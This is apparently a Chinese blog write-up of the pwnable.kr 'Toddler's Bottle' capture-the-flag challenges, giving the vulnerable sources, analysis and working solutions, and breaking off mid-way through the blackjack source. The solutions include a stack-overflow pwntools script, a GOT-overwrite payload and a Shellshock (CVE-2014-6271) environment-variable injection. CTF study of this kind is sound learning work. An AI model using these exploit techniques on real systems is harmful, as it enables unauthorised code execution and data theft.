Learning Man's Blog

Pwnable.kr 之 Toddler's Bottle

字数统计: 11.3k阅读时长: 63 min
2020/06/14

准备

  1. 关于反汇编时函数显示 plt

  2. 注意 pwndbg 对 heap 命令进行过一次大改,最后一次还易使用 commit 为 fbd2bb3abfc2500aae76d159e23015008e879b8d
    -w878

1. [fd]

题目

fd@pwnable:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;

}

分析

我们首先注意到 read 函数语法,暂时没找到

由于 fd 为传入可控,当我们将 fd=0x0时,即 fd=stdin 时,我们就可以控制 buf 内的内容,从而通过判断获取 flag

解题

fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

2. collision

题目

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }
    return res;
}

int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }

    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.\n");
    return 0;
}

分析

  1. 限制传入值为 20 字节
  2. 将传入的内容分为 5 个 int 值
  3. sum 之和需为 hashcode

0x21DD09EC == 568134124 == 113626824*4 + 113626828

解题

col@pwnable:~$ ./col `echo -e "\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06"`
daddy! I just managed to create a hash collision :)

或者

col@pwnable:~$ ./col `printf "\xc8\xce\xc5\x06%0.s" {1..4} && printf "\xcc\xce\xc5\x06"`
daddy! I just managed to create a hash collision :)

https://qastack.cn/superuser/86340/linux-command-to-repeat-a-string-n-times

3. bof

题目

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

分析

在 Ninja 中,可以方便看到逻辑判断

-w815

我们来看下C语言函数调用栈的典型内存布局

因为存储变量时是从低地址开始覆盖的,所以从 ebp-0x2c 到 ebp+0x8,我们需要覆盖长度 0x34 的数据,然后覆盖变量值为0xcafebabe

解题

#!/usr/bin/env python3
from pwn import *

conn = remote("pwnable.kr", 9000)
conn.sendline(b"A"*52 + p32(0xcafebabe))
conn.interactive()

4. flag

题目

Papa brought me a packed present! let's open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary

分析

首先拿到题目,直接拖进 Ninja 可以发觉是加了壳的,简单识别下可以看到是 upx 壳

-w411

利用upx -d脱壳

pwn@pwn-Parallels-Virtual-Platform:~/桌面$ '/home/pwn/tools/upx-3.96-amd64_linux/upx' -d flag 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    883745 <-    335288   37.94%   linux/amd64   flag

Unpacked 1 file.

查看下 main 函数,注意到字符串存储的位置

-w452

点进去看下,可以看到上面的那串应该就是 flag 了

-w994

解题

pwn@pwn-Parallels-Virtual-Platform:~/桌面$ strings flag | grep ':)'
UPX...? sounds like a delivery service :)

5. passcode

题目

#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}

分析

利用 scp 把题目拷下来

pwn@pwn-Parallels-Virtual-Platform:~/tools/die_lin64_portable$ scp -P 2222 [email protected]:/home/passcode/passcode ./
[email protected]'s password: 
passcode                                          100% 7485     7.3KB/s   00:01

再来检测下程序开启了哪些保护措施,注意到 PIE 没有开启

pwn@pwn-Parallels-Virtual-Platform:~/桌面$ checksec passcode 
[*] '/home/pwn/桌面/passcode'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

回到代码,注意到scanf("%d", passcode1);这段代码是有问题的,首先考虑直接溢出覆盖passcode1 以及 passcode2,338150 == 0x000528e6已经出现了0x00截断,因此无法实现变量覆盖

那么直接覆盖RET呢?注意到开启了 Canary,需要绕过,暂时不会:(

但是注意到 PIE 没有开启,而且passcode1前面没有取地址符号&,我们可以覆盖内存地址为passcode1的数据内容

这样我们通过将 passcode1 设置为 fflush 的 GOT 表单,通过 scanf 将调用地址指向 system("/bin/cat flag"); 达成绕过认证获取 flag,大致步骤如下:

  1. 从 name 到 passcode1 的长度为 (ebp+0x70) - (ebp-0x10) = 0x80 == 96

  2. 看一下 fflush 的 GOT 地址为0x0804a004

     pwn@pwn-Parallels-Virtual-Platform:~/桌面$ objdump -R passcode 
    
     passcode:     文件格式 elf32-i386
    
     DYNAMIC RELOCATION RECORDS
     OFFSET   TYPE              VALUE 
     08049ff0 R_386_GLOB_DAT    __gmon_start__
     0804a02c R_386_COPY        stdin@@GLIBC_2.0
     0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0
     0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0
     0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
     0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
     0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
     0804a014 R_386_JUMP_SLOT   __gmon_start__
     0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
     0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
     0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7
  3. 再通过 gdb 查看 system("/bin/cat flag"); 开始调用的指令地址为 0x080485e3,同时注意到scanf 传参时为%d,所以需要转换成 int 型数据

     (gdb) disassemble login
     Dump of assembler code for function login:
        0x08048564 <+0>:     push   %ebp
        0x08048565 <+1>:     mov    %esp,%ebp
        0x08048567 <+3>:     sub    $0x28,%esp
        0x0804856a <+6>:     mov    $0x8048770,%eax
        0x0804856f <+11>:    mov    %eax,(%esp)
        0x08048572 <+14>:    call   0x8048420 
        0x08048577 <+19>:    mov    $0x8048783,%eax
        0x0804857c <+24>:    mov    -0x10(%ebp),%edx
        0x0804857f <+27>:    mov    %edx,0x4(%esp)
        0x08048583 <+31>:    mov    %eax,(%esp)
        0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
        0x0804858b <+39>:    mov    0x804a02c,%eax
        0x08048590 <+44>:    mov    %eax,(%esp)
        0x08048593 <+47>:    call   0x8048430 
        0x08048598 <+52>:    mov    $0x8048786,%eax
        0x0804859d <+57>:    mov    %eax,(%esp)
        .
        .
        .
        0x080485d7 <+115>:   movl   $0x80487a5,(%esp)
        0x080485de <+122>:   call   0x8048450 
        0x080485e3 <+127>:   movl   $0x80487af,(%esp)
        0x080485ea <+134>:   call   0x8048460 
        0x080485ef <+139>:   leave  
        0x080485f0 <+140>:   ret    
        0x080485f1 <+141>:   movl   $0x80487bd,(%esp)
        0x080485f8 <+148>:   call   0x8048450 
        0x080485fd <+153>:   movl   $0x0,(%esp)
        0x08048604 <+160>:   call   0x8048480 
     End of assembler dump.

解题

passcode@pwnable:~$ python -c "print 'A' * 96 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

6. random

题目

#include <stdio.h>

int main(){
    unsigned int random;
    random = rand();    // random value!

    unsigned int key=0;
    scanf("%d", &key);

    if( (key ^ random) == 0xdeadbeef ){
        printf("Good!\n");
        system("/bin/cat flag");
        return 0;
    }

    printf("Wrong, maybe you should try 2^32 cases.\n");
    return 0;
}

分析

因为直接 random 为伪随机,我们只需要知道程序中生成的值是多少就可以直接拿来利用了

pwndbg> disassemble main
Dump of assembler code for function main:
   0x00000000004005f4 <+0>:   push   rbp
   0x00000000004005f5 <+1>:   mov    rbp,rsp
   0x00000000004005f8 <+4>:   sub    rsp,0x10
   0x00000000004005fc <+8>:   mov    eax,0x0
   0x0000000000400601 <+13>:  call   0x400500 
   0x0000000000400606 <+18>:  mov    DWORD PTR [rbp-0x4],eax
   0x0000000000400609 <+21>:  mov    DWORD PTR [rbp-0x8],0x0
   0x0000000000400610 <+28>:  mov    eax,0x400760
   0x0000000000400615 <+33>:  lea    rdx,[rbp-0x8]
   0x0000000000400619 <+37>:  mov    rsi,rdx
   0x000000000040061c <+40>:  mov    rdi,rax
   0x000000000040061f <+43>:  mov    eax,0x0
   0x0000000000400624 <+48>:  call   0x4004f0 <__isoc99_scanf@plt>
   0x0000000000400629 <+53>:  mov    eax,DWORD PTR [rbp-0x8]
   0x000000000040062c <+56>:  xor    eax,DWORD PTR [rbp-0x4]
   0x000000000040062f <+59>:  cmp    eax,0xdeadbeef
   0x0000000000400634 <+64>:  jne    0x400656 
   0x0000000000400636 <+66>:  mov    edi,0x400763
   0x000000000040063b <+71>:  call   0x4004c0 
   0x0000000000400640 <+76>:  mov    edi,0x400769
   0x0000000000400645 <+81>:  mov    eax,0x0
   0x000000000040064a <+86>:  call   0x4004d0 
   0x000000000040064f <+91>:  mov    eax,0x0
   0x0000000000400654 <+96>:  jmp    0x400665 
   0x0000000000400656 <+98>:  mov    edi,0x400778
   0x000000000040065b <+103>: call   0x4004c0 
   0x0000000000400660 <+108>: mov    eax,0x0
   0x0000000000400665 <+113>: leave  
   0x0000000000400666 <+114>: ret    
End of assembler dump.

可以确认 random 存在 rbp-0x4,输入值存在 rbp-0x8

注意小端存储,所以 random=0x6b8b4567

输入值:0x6b8b4567 ^ 0xdeadbeef = 3039230856

解题

random@pwnable:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...

7. input

题目

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
    printf("Welcome to pwnable.kr\n");
    printf("Let's see if you know how to give input to program\n");
    printf("Just give me correct inputs then you will get the flag :)\n");

    // argv
    if(argc != 100) return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");    

    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
    read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
    printf("Stage 2 clear!\n");

    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");

    // file
    FILE* fp = fopen("\x0a", "r");
    if(!fp) return 0;
    if( fread(buf, 4, 1, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n");    

    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 4, 0) != 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
    printf("Stage 5 clear!\n");

    // here's your flag
    system("/bin/cat flag");    
    return 0;
}

分析

一共有 5 关:

  1. 传入 100 个参数,参数 ‘A’(65) 为 \x00 参数 ‘B’(66) 为 \x20\x0a\x0d
  2. 从 stdin 中读取输入 \x00\x0a\x00\xff,stderr 中读取输入\x00\x0a\x02\xff
  3. 从环境变量去读\xde\xad\xbe\xef,需要值为\xca\xfe\xba\xbe
  4. 读当前目录下\x0a文件,前 4 个字节需要为\x00\x00\x00\x00
  5. 读取参数 ‘C’(67) 为端口值,发送b至此端口

解题

from pwn import *
from time import sleep

conn = ssh(host="pwnable.kr", port=2222, user="input2", password="guest")

conn.write("/tmp/sa/stdin", b"\x00\x0a\x00\xff")
conn.write("/tmp/sa/stderr", b"\x00\x0a\x02\xff")
conn.write(b"/tmp/sa/\x0a", b"\x00\x00\x00\x00")

args = list("." * 100)
args[ord('A')] = b"\x00"
args[ord('B')] = b"\x20\x0a\x0d"
args[ord('C')] = "47362"
envs = {b"\xde\xad\xbe\xef":b"\xca\xfe\xba\xbe"}

p = conn.process(argv=args, cwd="/tmp/sa/", env=envs, executable="/home/input2/input", stdin="/tmp/stdin", stderr="/tmp/stderr")

sleep(2)
sock = conn.remote("127.0.0.1", 47362)
sock.send("\xde\xad\xbe\xef")
p.interactive()

执行结果:

pwn@pwn-Parallels-Virtual-Platform:~/pwnable.kr$ /usr/bin/python3 /home/pwn/pwnable.kr/7_input.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] [email protected]:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.179
    ASLR:     Enabled
[+] Starting remote process '/home/input2/input' on pwnable.kr: pid 145635
[*] Switching to interactive mode
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
Mommy! I learned how to pass various input in Linux :)
[*] Got EOF while reading in interactive

8. leg

题目

#include <stdio.h>
#include <fcntl.h>
int key1(){
    asm("mov r3, pc\n");
}
int key2(){
    asm(
    "push    {r6}\n"
    "add    r6, pc, $1\n"
    "bx        r6\n"
    ".code    16\n"
    "mov    r3, pc\n"
    "add    r3, $0x4\n"
    "push    {r3}\n"
    "pop    {pc}\n"
    ".code    32\n"
    "pop    {r6}\n"
    );
}
int key3(){
    asm("mov r3, lr\n");
}
int main(){
    int key=0;
    printf("Daddy has very strong arm! : ");
    scanf("%d", &key);
    if( (key1()+key2()+key3()) == key ){
        printf("Congratz!\n");
        int fd = open("flag", O_RDONLY);
        char buf[100];
        int r = read(fd, buf, 100);
        write(0, buf, r);
    }
    else{
        printf("I have strong leg :P\n");
    }
    return 0;
}
(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c <+0>:        push    {r4, r11, lr}
   0x00008d40 <+4>:        add        r11, sp, #8
   0x00008d44 <+8>:        sub        sp, sp, #12
   0x00008d48 <+12>:    mov        r3, #0
   0x00008d4c <+16>:    str        r3, [r11, #-16]
   0x00008d50 <+20>:    ldr        r0, [pc, #104]    ; 0x8dc0 
   0x00008d54 <+24>:    bl        0xfb6c 
   0x00008d58 <+28>:    sub        r3, r11, #16
   0x00008d5c <+32>:    ldr        r0, [pc, #96]    ; 0x8dc4 
   0x00008d60 <+36>:    mov        r1, r3
   0x00008d64 <+40>:    bl        0xfbd8 <__isoc99_scanf>
   0x00008d68 <+44>:    bl        0x8cd4 
   0x00008d6c <+48>:    mov        r4, r0
   0x00008d70 <+52>:    bl        0x8cf0 
   0x00008d74 <+56>:    mov        r3, r0
   0x00008d78 <+60>:    add        r4, r4, r3
   0x00008d7c <+64>:    bl        0x8d20 
   0x00008d80 <+68>:    mov        r3, r0
   0x00008d84 <+72>:    add        r2, r4, r3
   0x00008d88 <+76>:    ldr        r3, [r11, #-16]
   0x00008d8c <+80>:    cmp        r2, r3
   0x00008d90 <+84>:    bne        0x8da8 
   0x00008d94 <+88>:    ldr        r0, [pc, #44]    ; 0x8dc8 
   0x00008d98 <+92>:    bl        0x1050c 
   0x00008d9c <+96>:    ldr        r0, [pc, #40]    ; 0x8dcc 
   0x00008da0 <+100>:    bl        0xf89c 
   0x00008da4 <+104>:    b        0x8db0 
   0x00008da8 <+108>:    ldr        r0, [pc, #32]    ; 0x8dd0 
   0x00008dac <+112>:    bl        0x1050c 
   0x00008db0 <+116>:    mov        r3, #0
   0x00008db4 <+120>:    mov        r0, r3
   0x00008db8 <+124>:    sub        sp, r11, #8
   0x00008dbc <+128>:    pop        {r4, r11, pc}
   0x00008dc0 <+132>:    andeq    r10, r6, r12, lsl #9
   0x00008dc4 <+136>:    andeq    r10, r6, r12, lsr #9
   0x00008dc8 <+140>:                ;  instruction: 0x0006a4b0
   0x00008dcc <+144>:                ;  instruction: 0x0006a4bc
   0x00008dd0 <+148>:    andeq    r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:        push    {r11}        ; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:        add        r11, sp, #0
   0x00008cdc <+8>:        mov        r3, pc
   0x00008ce0 <+12>:    mov        r0, r3
   0x00008ce4 <+16>:    sub        sp, r11, #0
   0x00008ce8 <+20>:    pop        {r11}        ; (ldr r11, [sp], #4)
   0x00008cec <+24>:    bx        lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:        push    {r11}        ; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:        add        r11, sp, #0
   0x00008cf8 <+8>:        push    {r6}        ; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:    add        r6, pc, #1
   0x00008d00 <+16>:    bx        r6
   0x00008d04 <+20>:    mov        r3, pc
   0x00008d06 <+22>:    adds    r3, #4
   0x00008d08 <+24>:    push    {r3}
   0x00008d0a <+26>:    pop        {pc}
   0x00008d0c <+28>:    pop        {r6}        ; (ldr r6, [sp], #4)
   0x00008d10 <+32>:    mov        r0, r3
   0x00008d14 <+36>:    sub        sp, r11, #0
   0x00008d18 <+40>:    pop        {r11}        ; (ldr r11, [sp], #4)
   0x00008d1c <+44>:    bx        lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:        push    {r11}        ; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:        add        r11, sp, #0
   0x00008d28 <+8>:        mov        r3, lr
   0x00008d2c <+12>:    mov        r0, r3
   0x00008d30 <+16>:    sub        sp, r11, #0
   0x00008d34 <+20>:    pop        {r11}        ; (ldr r11, [sp], #4)
   0x00008d38 <+24>:    bx        lr
End of assembler dump.
(gdb) 

分析

通过 c 文件看,就是找到 key1、key2、key3 之和即可

  • key1:

    • 当处理器处于ARM状态时,每条ARM指令为4个字节,所以PC寄存器的值为当前指令地址 + 8字节
    • 当处理器处于Thumb状态时,每条Thumb指令为2字节,所以PC寄存器的值为当前指令地址 + 4字节

    https://static.docs.arm.com/ihi0042/g/aapcs32.pdf

    当只有一个结果返回时,会放在 r0 里,所以 key1:0x00008cdc + 0x8 = 0x00008ce4

  • key2:
    由于 0x00008cfc 处 r6:0x1 + 0x00008cfc + 0x8 = 0x00008d05 最后一位为 1 导致在0x00008d00处进入 Thumb 状态,于是 0x00008d06 处 r3 = 0x00008d04 + 0x4 + 0x4 = 0x00008d0c

  • key3:

    连接寄存器r14(LR):每种模式下r14都有自身版组,它有两个特殊功能:

    1. 保存子程序返回地址。使用BL或BLX时,跳转指令自动把返回地址放入r14中;子程序通过把r14复制到PC来实现返回
    2. 当异常发生时,异常模式的r14用来保存异常返回地址,将r14如栈可以处理嵌套中断

    可以看到下一条指令的地址为 0x00008d80

    所以 key3:0x00008d80

综合计算 key1 + key2 + key3 = 0x00008ce4 + 0x00008d0c + 0x00008d80 = 108400

解题

/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
My daddy has a lot of ARMv5te muscle!

9. mistake

题目

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
    int i;
    for(i=0; i<len; i++){
        s[i] ^= XORKEY;
    }
}

int main(int argc, char* argv[]){

    int fd;
    if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
        printf("can't open password %d\n", fd);
        return 0;
    }

    printf("do not bruteforce...\n");
    sleep(time(0)%20);

    char pw_buf[PW_LEN+1];
    int len;
    if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
        printf("read error\n");
        close(fd);
        return 0;        
    }

    char pw_buf2[PW_LEN+1];
    printf("input password : ");
    scanf("%10s", pw_buf2);

    // xor your input
    xor(pw_buf2, 10);

    if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
        printf("Password OK\n");
        system("/bin/cat flag\n");
    }
    else{
        printf("Wrong Password\n");
    }

    close(fd);
    return 0;
}

分析

题目给了提示

hint : operator priority

然后注意到这句if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)这里面的执行优先级是有问题的,应该为if((fd=open("/home/mistake/password",O_RDONLY,0400)) < 0),错误的写法导致 fd=0,紧跟着 read 则会从 stdin里面读取 10 位长度内容作为 password

所以最终 pw_buf 和 pw_buf2 我们都能控制,只要保证每一位和 1 进行亦或即可

解题

mistake@pwnable:~$ ./mistake 
do not bruteforce...
0000000000
input password : 
1111111111
Password OK
Mommy, the operator priority always confuses me :(

10. shellshock

题目

#include <stdio.h>
int main(){
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    system("/home/shellshock/bash -c 'echo shock_me'");
    return 0;
}

分析

破壳漏洞的利用,这篇文章好点

查看有漏洞的 bash 版本

shellshock@pwnable:~$ ./bash --version
GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)

同时注意到文件权限

shellshock@pwnable:~$ ls -sail
total 980
23593359   4 drwxr-x---   5 root shellshock       4096 Oct 23  2016 .
23593232   4 drwxr-xr-x 116 root root             4096 Apr 17 14:10 ..
23593368 940 -r-xr-xr-x   1 root shellshock     959120 Oct 12  2014 bash
23593367   4 d---------   2 root root             4096 Oct 12  2014 .bash_history
23593366   4 -r--r-----   1 root shellshock_pwn     47 Oct 12  2014 flag
23593364   4 dr-xr-xr-x   2 root root             4096 Oct 12  2014 .irssi
23593361   4 drwxr-xr-x   2 root root             4096 Oct 23  2016 .pwntools-cache
23593363  12 -r-xr-sr-x   1 root shellshock_pwn   8547 Oct 12  2014 shellshock
23593360   4 -r--r--r--   1 root root              188 Oct 12  2014 shellshock.c

解题

shellshock@pwnable:~$ env x='() { :;}; /home/shellshock/bash -c "cat /home/shellshock/flag"' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)

11. coin

题目

    ---------------------------------------------------
    -              Shall we play a game?              -
    ---------------------------------------------------

    You have given some gold coins in your hand
    however, there is one counterfeit coin among them
    counterfeit coin looks exactly same as real coin
    however, its weight is different from real one
    real coin weighs 10, counterfeit coin weighes 9
    help me to find the counterfeit coin with a scale
    if you find 100 counterfeit coins, you will get reward :)
    FYI, you have 60 seconds.

    - How to play - 
    1. you get a number of coins (N) and number of chances (C)
    2. then you specify a set of index numbers of coins to be weighed
    3. you get the weight information
    4. 2~3 repeats C time, then you give the answer

    - Example -
    [Server] N=4 C=2     # find counterfeit among 4 coins with 2 trial
    [Client] 0 1         # weigh first and second coin
    [Server] 20            # scale result : 20
    [Client] 3            # weigh fourth coin
    [Server] 10            # scale result : 10
    [Client] 2             # counterfeit coin is third!
    [Server] Correct!

    - Ready? starting in 3 sec... -

分析

二分法找 coin

解题

远程跑容易受到网络影响,推荐部署到/tmp/里本地跑,非常快

from pwn import *
from time import sleep
from re import compile

conn = remote("pwnable.kr", 9007)
print(conn.recv())
sleep(3)

def getList(start, end):
    return ' '.join([str(x) for x in list(range(int(start), int(end)))])

while True:
    status = False
    data = conn.recv().decode('utf-8')
    print("[<-] recv: %s" % data)
    NC = compile("^N=([0-9]*) C=([0-9]*)$").match(data)
    W = compile("^([0-9]*)$").match(data)

    if NC:
        end = int(NC.group(1))
        fp = (0, end//2)
        sp = (end//2, end) 
        status = True  
    elif W:
        if int(W.group(1)) == (fp[1] - fp[0]) * 10:
            fp = sp
        tp = (fp[0] + fp[-1])//2 + (fp[0] + fp[-1]) % 2
        sp = (tp, fp[-1])
        fp = (fp[0], tp)
        status = True 
    elif "format error" in data or "time expired" in data:
        print("[>.< Bye...")
        break
    if status:
        data = getList(fp[0], fp[1])
        print("[->] send: %s" % data)
        conn.send(data + "\n")
[<-] recv: Congrats! get your flag
b1NaRy_S34rch1nG_1s_3asy_p3asy

12. blackjeck

题目

原地址:http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

// Programmer: Vladislav Shulman
// Final Project
// Blackjack

// Feel free to use any and all parts of this program and claim it as your own work

//FINAL DRAFT

#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <time.h>                //Used for srand((unsigned) time(NULL)) command
#include <process.h>             //Used for system("cls") command

#define spade 06                 //Used to print spade symbol
#define club 05                  //Used to print club symbol
#define diamond 04               //Used to print diamond symbol
#define heart 03                 //Used to print heart symbol
#define RESULTS "Blackjack.txt"  //File name is Blackjack

//Global Variables
int k;
int l;
int d;
int won;
int loss;
int cash = 500;
int bet;
int random_card;
int player_total=0;
int dealer_total;

//Function Prototypes
int clubcard();      //Displays Club Card Image
int diamondcard();   //Displays Diamond Card Image
int heartcard();     //Displays Heart Card Image
int spadecard();     //Displays Spade Card Image
int randcard();      //Generates random card
int betting();       //Asks user amount to bet
void asktitle();     //Asks user to continue
void rules();        //Prints "Rules of Vlad's Blackjack" menu
void play();         //Plays game
void dealer();       //Function to play for dealer AI
void stay();         //Function for when user selects 'Stay'
void cash_test();    //Test for if user has cash remaining in purse
void askover();      //Asks if user wants to continue playing
void fileresults();  //Prints results into Blackjack.txt file in program directory

//Main Function
int main(void)
{
    int choice1;
    printf("\n");
    printf("\n");
    printf("\n");
    printf("\n              222                111                            ");
    printf("\n            222 222            11111                              ");
    printf("\n           222   222          11 111                            "); 
    printf("\n                222              111                               "); 
    printf("\n               222               111                           ");   
    printf("\n");
    printf("\n%c%c%c%c%c     %c%c            %c%c         %c%c%c%c%c    %c    %c                ", club, club, club, club, club, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club);  
    printf("\n%c    %c    %c%c           %c  %c       %c     %c   %c   %c              ", club, club, spade, spade, diamond, diamond, heart, heart, club, club);            
    printf("\n%c    %c    %c%c          %c    %c     %c          %c  %c               ", club, club, spade, spade, diamond, diamond, heart, club, club);                        
    printf("\n%c%c%c%c%c     %c%c          %c %c%c %c     %c          %c %c              ", club, club, club, club, club, spade, spade, diamond, diamond, diamond, diamond, heart, club, club);      
    printf("\n%c    %c    %c%c         %c %c%c%c%c %c    %c          %c%c %c             ", club, club, spade, spade, diamond, diamond, diamond, diamond, diamond, diamond, heart, club, club, club);                       
    printf("\n%c     %c   %c%c         %c      %c    %c          %c   %c               ", club, club, spade, spade, diamond, diamond, heart, club, club);                                         
    printf("\n%c     %c   %c%c        %c        %c    %c     %c   %c    %c             ", club, club, spade, spade, diamond, diamond, heart, heart, club, club);                                                            
    printf("\n%c%c%c%c%c%c    %c%c%c%c%c%c%c   %c        %c     %c%c%c%c%c    %c     %c            ", club, club, club, club, club, club, spade, spade, spade, spade, spade, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club);                                                                                     
    printf("\n");     
    printf("\n                        21                                   ");

    printf("\n     %c%c%c%c%c%c%c%c      %c%c         %c%c%c%c%c    %c    %c                ", diamond, diamond, diamond, diamond, diamond, diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade);                     
    printf("\n        %c%c        %c  %c       %c     %c   %c   %c              ", diamond, diamond, heart, heart, club, club, spade, spade);                                      
    printf("\n        %c%c       %c    %c     %c          %c  %c               ", diamond, diamond, heart, heart, club, spade, spade);                                           
    printf("\n        %c%c       %c %c%c %c     %c          %c %c              ", diamond, diamond, heart, heart, heart, heart, club, spade, spade);                                     
    printf("\n        %c%c      %c %c%c%c%c %c    %c          %c%c %c             ", diamond, diamond, heart, heart, heart, heart, heart, heart, club, spade, spade, spade);                                                
    printf("\n        %c%c      %c      %c    %c          %c   %c               ", diamond, diamond, heart, heart, club, spade, spade);                                                                               
    printf("\n     %c  %c%c     %c        %c    %c     %c   %c    %c             ", diamond, diamond, diamond, heart, heart, club, spade, spade);                                                                                                               
    printf("\n      %c%c%c      %c        %c     %c%c%c%c%c    %c     %c            ", diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade);                                                                                                                                        
    printf("\n");  
